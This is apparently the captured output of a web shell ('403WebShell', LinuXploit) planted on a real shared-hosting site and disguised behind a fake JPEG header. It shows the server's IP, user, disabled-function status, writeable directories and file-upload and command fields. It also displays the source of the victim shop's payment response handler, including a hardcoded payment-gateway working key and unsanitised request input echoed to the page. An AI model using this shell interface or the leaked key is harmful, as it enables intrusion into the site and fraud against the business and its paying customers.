���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.42  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/ccavResponseHandler.php
<?php
// error_reporting(0);
	function successful($user){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "https://saumasale.in/success.php");
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_POST, 1);
		$data = array(
			'user' => $user
		);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		$contents = curl_exec($ch);
		curl_close($ch);
	}
	include_once('function.php');
	$url = '';
	head(
        'S & A Foods and Spices ',

        'S & A Foods and Spices ',

        'S & A Foods and Spices ',
        $url
    );
?>

<section class="section contact-us" style="align-items: center;">
	<div class="container">
		<?php include('php/Crypto.php'); ?>
		<?php
			if(isset($_POST["encResp"])){
				$user = $_GET['user'];
				$workingKey = '02FB213A2883FAC31DFA48C2B784DF27';
				$encResponse = $_POST["encResp"];
				$rcvdString = decrypt($encResponse, $workingKey);
				$order_status = "";
				$decryptValues = explode('&', $rcvdString);
				$dataSize = sizeof($decryptValues);
				echo "<center>";
				if(is_array($decryptValues)){
					for ($i = 0; $i < $dataSize; $i++) {
						$information = explode("=",$decryptValues[$i]);
						// $information = explode("=",$decryptValues[$i]);
						if ($i == 3)	$order_status = $information[1];
					}

					if ($order_status === "Success") {
						echo "<img src='images/success.png' style='width: 100px;'><br />";
						echo "<br>Payment Successfull, Thank you for your payment.";
						
						successful($user);
					} else if ($order_status === "Aborted") {
						echo "<img src='images/failed.png'  style='width: 100px;'><br />";
						echo "<br>We will keep you posted regarding the status of your order through e-mail";
					} else if ($order_status === "Failure") {
						echo "<img src='images/failed.png'  style='width: 100px;'><br />";
						echo "<br>Transaction has been declined.";
					} else {
						echo "<img src='images/failed.png' style='width: 100px;'><br />";
						echo "<br>Security Error. Illegal access detected";
					}
		
					echo "<br><br>";
		
					echo "<table class='taable' cellspacing=4 cellpadding=4>";
					for ($i = 0; $i < 5; $i++) {
						$information = explode('=', $decryptValues[$i]);
						echo '<tr><td>' . $information[0] . '</td><td>' . $information[1] . '</td></tr>';
					}
		
					echo "</table><br>";
					echo "</center>";
				}
			}else{
				echo 'No Response from payment gateway';
			}
		?>
	</div>
	<!-- End of .container -->
</section>
<script>
  setInterval(function() {
    window.location.href = "https://saumasale.in/"; 
  }, 5000); 
</script>

<?php foter(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit